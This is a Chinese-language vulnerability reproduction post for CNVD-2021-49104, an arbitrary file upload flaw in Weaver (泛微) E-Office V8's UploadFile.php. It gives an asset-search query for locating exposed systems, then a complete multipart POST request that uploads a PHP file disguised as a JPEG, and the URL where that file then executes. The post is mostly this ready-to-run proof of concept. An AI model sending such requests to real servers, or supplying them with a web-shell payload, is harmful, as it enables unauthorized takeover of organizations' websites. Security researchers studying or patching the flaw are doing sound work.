泛微OA E-Office UploadFile.php 任意文件上传漏洞 #CNVD-2021-49104

漏洞描述

在/general/index/UploadFile.php中上传文件过滤不严格导致允许无限制地上传文件,攻击者可以通过该漏洞直接获取网站权限。

漏洞影响

泛微OA V8

网络测绘

app=”泛微-EOffice”

漏洞复现

登录页面

20231208110510600-1629192036675-609c0b9d-2484-4e61-bb92-da8c1ce0067c.e3a60c7f_2023-12-08_11-04-47 (1)

发送请求包

POST /general/index/UploadFile.php?m=uploadPicture&uploadType=eoffice_logo&userId= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Connection: close
Accept-Language: zh-CN,zh-TW;q=0.9,zh;q=0.8,en-US;q=0.7,en;q=0.6
Cookie: LOGIN_LANG=cn; PHPSESSID=0acfd0a2a7858aa1b4110eca1404d348
Content-Length: 193
Content-Type: multipart/form-data; boundary=e64bdf16c554bbc109cecef6451c26a4

--e64bdf16c554bbc109cecef6451c26a4
Content-Disposition: form-data; name="Filedata"; filename="test.php"
Content-Type: image/jpeg

<?php phpinfo();?>

--e64bdf16c554bbc109cecef6451c26a4--

20231208110639769-1629192352056-19e32ff8-c25d-4403-8d5a-d2bbcf5786a1.0ae44993_2023-12-08_11-05-42 (1)

再访问

/images/logo/logo-eoffice.php

20231208112201878-1629192399188-505a3021-d47b-42cb-a23d-a626c646c97b.3841a3a7_2023-12-08_11-07-25 (1)

© 版权声明
THE END
喜欢就支持一下吧
点赞0 分享
评论 抢沙发

请登录后发表评论

    暂无评论内容